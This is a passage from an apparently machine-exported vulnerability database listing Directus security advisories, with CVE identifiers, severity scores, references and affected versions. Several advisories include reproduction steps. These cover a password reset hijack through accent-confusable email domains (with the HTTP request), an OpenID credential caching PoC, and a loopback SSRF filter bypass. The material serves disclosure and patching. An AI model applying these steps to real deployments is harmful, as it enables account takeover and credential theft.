is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-6ggp-xn4c-gya3
2
vulnerability VCID-6mr6-u3vk-sygm
3
vulnerability VCID-bwww-3wep-2ydf
4
vulnerability VCID-exwx-sqry-c3gc
5
vulnerability VCID-hv63-3zhy-dyae
6
vulnerability VCID-n9br-39bb-7ugt
7
vulnerability VCID-rq5y-ee4h-gkff
8
vulnerability VCID-trbn-m8sj-ffa4
9
vulnerability VCID-wcaq-4zzz-qfb7
10
vulnerability VCID-ycj2-8tqq-jyag
11
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.14.0
aliases CVE-2026-22032, GHSA-3573-4c68-g8cc
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-2uz6-wjn7-kug4
6
url VCID-4aek-ts88-rqaj
vulnerability_id VCID-4aek-ts88-rqaj
summary
Duplicate Advisory: Improper access control in Directus
## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-3fff-gqw3-vj86. This link is maintained to preserve external references.

## Original Description
Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the 'POST /presets' request but not in the PATCH request. When chained with CVE-2024-6533, it could result in account takeover.
references
0
reference_url https://directus.io
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://directus.io
1
reference_url https://fluidattacks.com/advisories/capaldi
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://fluidattacks.com/advisories/capaldi
2
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-6534
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-6534
4
reference_url https://github.com/advisories/GHSA-q83v-hq3j-4pq3
reference_id GHSA-q83v-hq3j-4pq3
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-q83v-hq3j-4pq3
fixed_packages
0
url pkg:npm/directus@10.13.1
purl pkg:npm/directus@10.13.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2hc2-7tsc-nka1
3
vulnerability VCID-2hv8-fgdr-hugf
4
vulnerability VCID-2uz6-wjn7-kug4
5
vulnerability VCID-4v6n-unvz-wff3
6
vulnerability VCID-4x1w-8bx4-rqf9
7
vulnerability VCID-547q-d837-dfcz
8
vulnerability VCID-662k-n18g-mybg
9
vulnerability VCID-6ggp-xn4c-gya3
10
vulnerability VCID-6mr6-u3vk-sygm
11
vulnerability VCID-88w3-rw8u-rqea
12
vulnerability VCID-a75s-xyu6-wbcw
13
vulnerability VCID-a9tr-a8r5-57en
14
vulnerability VCID-bwww-3wep-2ydf
15
vulnerability VCID-dy98-51bk-p3fk
16
vulnerability VCID-exwx-sqry-c3gc
17
vulnerability VCID-gnzq-q9g9-m3a4
18
vulnerability VCID-hv63-3zhy-dyae
19
vulnerability VCID-j711-a6gm-b7hr
20
vulnerability VCID-kugb-dwxd-6fhe
21
vulnerability VCID-mk5k-pf2s-mfe9
22
vulnerability VCID-n7g1-hmy7-j7g9
23
vulnerability VCID-n9br-39bb-7ugt
24
vulnerability VCID-rq5y-ee4h-gkff
25
vulnerability VCID-szpk-4g6r-f3e6
26
vulnerability VCID-trbn-m8sj-ffa4
27
vulnerability VCID-uft7-5e9d-dqh8
28
vulnerability VCID-vt3b-2dr3-aka2
29
vulnerability VCID-wcaq-4zzz-qfb7
30
vulnerability VCID-wx6m-6dac-xqaj
31
vulnerability VCID-ycj2-8tqq-jyag
32
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.13.1
aliases GHSA-q83v-hq3j-4pq3
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4aek-ts88-rqaj
7
url VCID-4uk6-xe3f-h3h9
vulnerability_id VCID-4uk6-xe3f-h3h9
summary
Directus has MySQL accent insensitive email matching
## Password reset vulnerable to accent confusion

The password reset mechanism of the Directus backend is implemented in a way where combined with (specific, need to double check if i can work around) configuration in MySQL or MariaDB. As such, it allows attackers to receive a password reset email of a victim user, specifically having it arrive at a similar email address as the victim with a one or more characters changed to use accents. 

This is due to the fact that by default MySQL/MariaDB are configured for accent-insenstive and case-insensitve comparisons.

MySQL weak comparison:
```sql
select 1 from directus_users where 'julian@cure53.de' = 'julian@cüre53.de';
```

This is exploitable due to an error in the API using the supplied email address for sending the reset password mail instead of using the email from the database.

### Steps to reproduce:

1. If the attacker knows the email address of the victim user, i.e., `julian@cure53.de`. (possibly just the domain could be enough for an educated guess)
2. A off-by-one accented domain `cüre53.de` can be registered to be able to receive emails.
3. With this email the attacker can request a password reset for `julian@cüre53.de`. 
```http
POST /auth/password/request HTTP/1.1
Host: example.com
[...]
{"email":"julian@cüre53.de"}
```
4. The supplied email (julian@cüre53.de) gets checked against the database and will match the non-accented email `julian@cure53.de` and will continue to email the password reset link to the provided email address instead of the saved email address.
5. With this email the attacker can log into the target account and use it for nefarious things

### Workarounds
Should be possible with collations but haven't been able to confirm this. 

### References
- https://www.monolune.com/articles/what-is-the-utf8mb4_0900_ai_ci-collation/
- https://dev.mysql.com/doc/refman/8.0/en/charset-unicode-sets.html
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-27295
reference_id
reference_type
scores
0
value 0.00604
scoring_system epss
scoring_elements 0.69916
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-27295
1
reference_url https://dev.mysql.com/doc/refman/8.0/en/charset-unicode-sets.html
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://dev.mysql.com/doc/refman/8.0/en/charset-unicode-sets.html
2
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
3
reference_url https://github.com/directus/directus/commit/a8ef790ea2d28b1727f9027d99bd360920d57919
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/commit/a8ef790ea2d28b1727f9027d99bd360920d57919
4
reference_url https://github.com/directus/directus/security/advisories/GHSA-qw9g-7549-7wg5
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2024-03-05T19:45:59Z/
url https://github.com/directus/directus/security/advisories/GHSA-qw9g-7549-7wg5
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-27295
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-27295
6
reference_url https://www.monolune.com/articles/what-is-the-utf8mb4_0900_ai_ci-collation
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://www.monolune.com/articles/what-is-the-utf8mb4_0900_ai_ci-collation
7
reference_url https://github.com/advisories/GHSA-qw9g-7549-7wg5
reference_id GHSA-qw9g-7549-7wg5
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-qw9g-7549-7wg5
fixed_packages
0
url pkg:npm/directus@10.8.3
purl pkg:npm/directus@10.8.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2hv8-fgdr-hugf
5
vulnerability VCID-2uz6-wjn7-kug4
6
vulnerability VCID-4aek-ts88-rqaj
7
vulnerability VCID-4v6n-unvz-wff3
8
vulnerability VCID-4x1w-8bx4-rqf9
9
vulnerability VCID-547q-d837-dfcz
10
vulnerability VCID-662k-n18g-mybg
11
vulnerability VCID-6ggp-xn4c-gya3
12
vulnerability VCID-6mr6-u3vk-sygm
13
vulnerability VCID-7w4r-sr7k-77g1
14
vulnerability VCID-88w3-rw8u-rqea
15
vulnerability VCID-95tn-g8wd-63hq
16
vulnerability VCID-a75s-xyu6-wbcw
17
vulnerability VCID-a9tr-a8r5-57en
18
vulnerability VCID-bwww-3wep-2ydf
19
vulnerability VCID-djhf-pqnt-6qcp
20
vulnerability VCID-dy98-51bk-p3fk
21
vulnerability VCID-exwx-sqry-c3gc
22
vulnerability VCID-hv63-3zhy-dyae
23
vulnerability VCID-j711-a6gm-b7hr
24
vulnerability VCID-kugb-dwxd-6fhe
25
vulnerability VCID-mk5k-pf2s-mfe9
26
vulnerability VCID-n7g1-hmy7-j7g9
27
vulnerability VCID-n9br-39bb-7ugt
28
vulnerability VCID-rq5y-ee4h-gkff
29
vulnerability VCID-szpk-4g6r-f3e6
30
vulnerability VCID-trbn-m8sj-ffa4
31
vulnerability VCID-u5pc-6e92-zyev
32
vulnerability VCID-uft7-5e9d-dqh8
33
vulnerability VCID-vt3b-2dr3-aka2
34
vulnerability VCID-wcaq-4zzz-qfb7
35
vulnerability VCID-ycj2-8tqq-jyag
36
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.8.3
aliases CVE-2024-27295, GHSA-qw9g-7549-7wg5
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4uk6-xe3f-h3h9
8
url VCID-4v6n-unvz-wff3
vulnerability_id VCID-4v6n-unvz-wff3
summary
Session is cached for OpenID and OAuth2 if `redirect` is not used
### Summary
Unauthenticated user can access credentials of last authenticated user via OpenID or OAuth2 where the authentication URL did not include `redirect` query string.

For example:
- Project is configured with OpenID or OAuth2
- Project is configured with cache enabled
- User tries to login via SSO link, but without `redirect` query string
- After successful login, credentials are cached
- If an unauthenticated user tries to login via SSO link, it will return the credentials of the other last user

The SSO link is something like `https://directus.example.com/auth/login/openid/callback`, where `openid` is the name of the OpenID provider configured in Directus

### Details
This happens because on that endpoint for both OpenId and Oauth2 Directus is using the `respond` middleware, which by default will try to cache GET requests that met some conditions. Although, those conditions do not include this scenario, when an unauthenticated request returns user credentials.
For OpenID, this can be seen here:
https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459
And for OAuth2 can be seen here
https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428

### PoC
- Create a new Directus project
- Set `CACHE_ENABLED` to true
- Set `CACHE_STORE` to `redis` for reliable results (if using memory with multiple nodes, it may only happen sometimes, due to cache being different for different nodes)
- Configure `REDIS` with redis string or redis host, port, user, etc.
- Set `AUTH_PROVIDERS` to `openid`
- Set `PUBLIC_URL` to the the main URL of your project . 	For example, `PUBLIC_URL: http://localhost:8055`
- Configure `AUTH_OPENID_CLIENT_ID`, `AUTH_OPENID_CLIENT_SECRET`, `AUTH_OPENID_ISSUER_URL` with proper OpenID configurations
- Be sure that on OpenID external app you have configured Redirect URI to `http://localhost:8055/auth/login/openid/callback`
- Run Directus
- Open the SSO link like `http://localhost:8055/auth/login/openid/callback`
- Do the authentication on the OpenID external webpage
- Verify that it you got redirected to a page with a JSON including `access_token` property
- Be sure all anonymous mode windows are closed
- Open an anonymous window and go to the SSO Link `http://localhost:8055/auth/login/openid/callback` and see you have the same credentials, even though you don't have any session because you are in anonymous mode

### Impact
All projects using OpenID or OAuth 2, that does not include `redirect` query string on loggin in users.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-45596
reference_id
reference_type
scores
0
value 0.00753
scoring_system epss
scoring_elements 0.73506
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-45596
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 7.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
1
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428
reference_id
reference_type
scores
0
value 7.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
1
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428
3
reference_url https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459
reference_id
reference_type
scores
0
value 7.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
1
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459
4
reference_url https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b
reference_id
reference_type
scores
0
value 7.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
1
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-10T19:20:20Z/
url https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b
5
reference_url https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52
reference_id
reference_type
scores
0
value 7.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
1
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-10T19:20:20Z/
url https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52
6
reference_url https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8
reference_id
reference_type
scores
0
value 7.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
3
value HIGH
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-10T19:20:20Z/
url https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8
7
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-45596
reference_id
reference_type
scores
0
value 7.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
1
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-45596
8
reference_url https://github.com/advisories/GHSA-cff8-x7jv-4fm8
reference_id GHSA-cff8-x7jv-4fm8
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-cff8-x7jv-4fm8
fixed_packages
0
url pkg:npm/directus@10.13.3
purl pkg:npm/directus@10.13.3
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.13.3
1
url pkg:npm/directus@11.1.0
purl pkg:npm/directus@11.1.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-21c4-wjbq-pycf
3
vulnerability VCID-2hv8-fgdr-hugf
4
vulnerability VCID-2uz6-wjn7-kug4
5
vulnerability VCID-4x1w-8bx4-rqf9
6
vulnerability VCID-662k-n18g-mybg
7
vulnerability VCID-6ggp-xn4c-gya3
8
vulnerability VCID-6mr6-u3vk-sygm
9
vulnerability VCID-88w3-rw8u-rqea
10
vulnerability VCID-a75s-xyu6-wbcw
11
vulnerability VCID-a9tr-a8r5-57en
12
vulnerability VCID-bwww-3wep-2ydf
13
vulnerability VCID-dy98-51bk-p3fk
14
vulnerability VCID-ejdy-qscm-bqe1
15
vulnerability VCID-exwx-sqry-c3gc
16
vulnerability VCID-gnzq-q9g9-m3a4
17
vulnerability VCID-hv63-3zhy-dyae
18
vulnerability VCID-j711-a6gm-b7hr
19
vulnerability VCID-kugb-dwxd-6fhe
20
vulnerability VCID-mk5k-pf2s-mfe9
21
vulnerability VCID-n7g1-hmy7-j7g9
22
vulnerability VCID-n9br-39bb-7ugt
23
vulnerability VCID-rq5y-ee4h-gkff
24
vulnerability VCID-szpk-4g6r-f3e6
25
vulnerability VCID-trbn-m8sj-ffa4
26
vulnerability VCID-uft7-5e9d-dqh8
27
vulnerability VCID-vt3b-2dr3-aka2
28
vulnerability VCID-wcaq-4zzz-qfb7
29
vulnerability VCID-wx6m-6dac-xqaj
30
vulnerability VCID-ycj2-8tqq-jyag
31
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.1.0
aliases CVE-2024-45596, GHSA-cff8-x7jv-4fm8
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4v6n-unvz-wff3
9
url VCID-4x1w-8bx4-rqf9
vulnerability_id VCID-4x1w-8bx4-rqf9
summary
Directus Vulnerable to Information Leakage in Existing Collections
### Summary:

An observable difference in error messaging was found in the Directus REST API. The `/items/{collection}` API returns different error messages for these two cases:
1. A user tries to access an existing collection which they are not authorized to access.
2. A user tries to access a non-existing collection.

The two differing error messages leak the existence of collections to users which are not authorized to access these collections.

### Details:

The following response returns an error message, when requesting a collection the user is not authorized to access.

```
GET /items/no-access
{
  "errors": [
    {
      "message": "You don't have permission to access collection \"no-access\" or it does not exist. Queried in root.",
      "extensions": {
        "reason": "You don't have permission to access collection \"no-access\" or it does not exist. Queried in root.",
        "code": "FORBIDDEN"
      }
    }
  ]
}
```

The following response returns a different error message when requesting a collection which does not exist.

```
GET /items/does-not-exist
{
  "errors": [
    {
      "message": "You don't have permission to access this.",
      "extensions": {
        "code": "FORBIDDEN"
      }
    }
  ]
}
```

### Impact:

The difference in errors between non-existent collections and collections blocked by permissions leak the existence of a collection to a user which is not authorized to access this object.

### Credit:

Sebastian Krause - [Hackmanit GmbH](https://hackmanit.de)
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-64749
reference_id
reference_type
scores
0
value 0.00046
scoring_system epss
scoring_elements 0.14492
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-64749
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/f99c9b89071f9d136cc9b0d0c182f2d24542bc31
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-14T17:14:48Z/
url https://github.com/directus/directus/commit/f99c9b89071f9d136cc9b0d0c182f2d24542bc31
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-cph6-524f-3hgr
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-14T17:14:48Z/
url https://github.com/directus/directus/security/advisories/GHSA-cph6-524f-3hgr
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-64749
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-64749
5
reference_url https://github.com/advisories/GHSA-cph6-524f-3hgr
reference_id GHSA-cph6-524f-3hgr
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-cph6-524f-3hgr
fixed_packages
0
url pkg:npm/directus@11.13.0
purl pkg:npm/directus@11.13.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-2uz6-wjn7-kug4
2
vulnerability VCID-6ggp-xn4c-gya3
3
vulnerability VCID-6mr6-u3vk-sygm
4
vulnerability VCID-bwww-3wep-2ydf
5
vulnerability VCID-exwx-sqry-c3gc
6
vulnerability VCID-hv63-3zhy-dyae
7
vulnerability VCID-n9br-39bb-7ugt
8
vulnerability VCID-rq5y-ee4h-gkff
9
vulnerability VCID-trbn-m8sj-ffa4
10
vulnerability VCID-wcaq-4zzz-qfb7
11
vulnerability VCID-ycj2-8tqq-jyag
12
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.13.0
aliases CVE-2025-64749, GHSA-cph6-524f-3hgr
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4x1w-8bx4-rqf9
10
url VCID-547q-d837-dfcz
vulnerability_id VCID-547q-d837-dfcz
summary
Directus vulnerable to SSRF Loopback IP filter bypass
### Impact
If you're relying on blocking access to localhost using the default `0.0.0.0` filter this can be bypassed using other registered loopback devices (like `127.0.0.2` - `127.127.127.127`)

### Workaround
You can block this bypass by manually adding the `127.0.0.0/8` CIDR range which will block access to any `127.X.X.X` ip instead of just `127.0.0.1`.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-46990
reference_id
reference_type
scores
0
value 0.00237
scoring_system epss
scoring_elements 0.46933
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-46990
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-18T18:14:11Z/
url https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b
3
reference_url https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-18T18:14:11Z/
url https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52
4
reference_url https://github.com/directus/directus/commit/8cbf943b65fd4a763d09a5fdbba8996b1e7797ff
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-18T18:14:11Z/
url https://github.com/directus/directus/commit/8cbf943b65fd4a763d09a5fdbba8996b1e7797ff
5
reference_url https://github.com/directus/directus/commit/c1f3ccc681595038d094ce110ddeee38cb38f431
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
3
value MODERATE
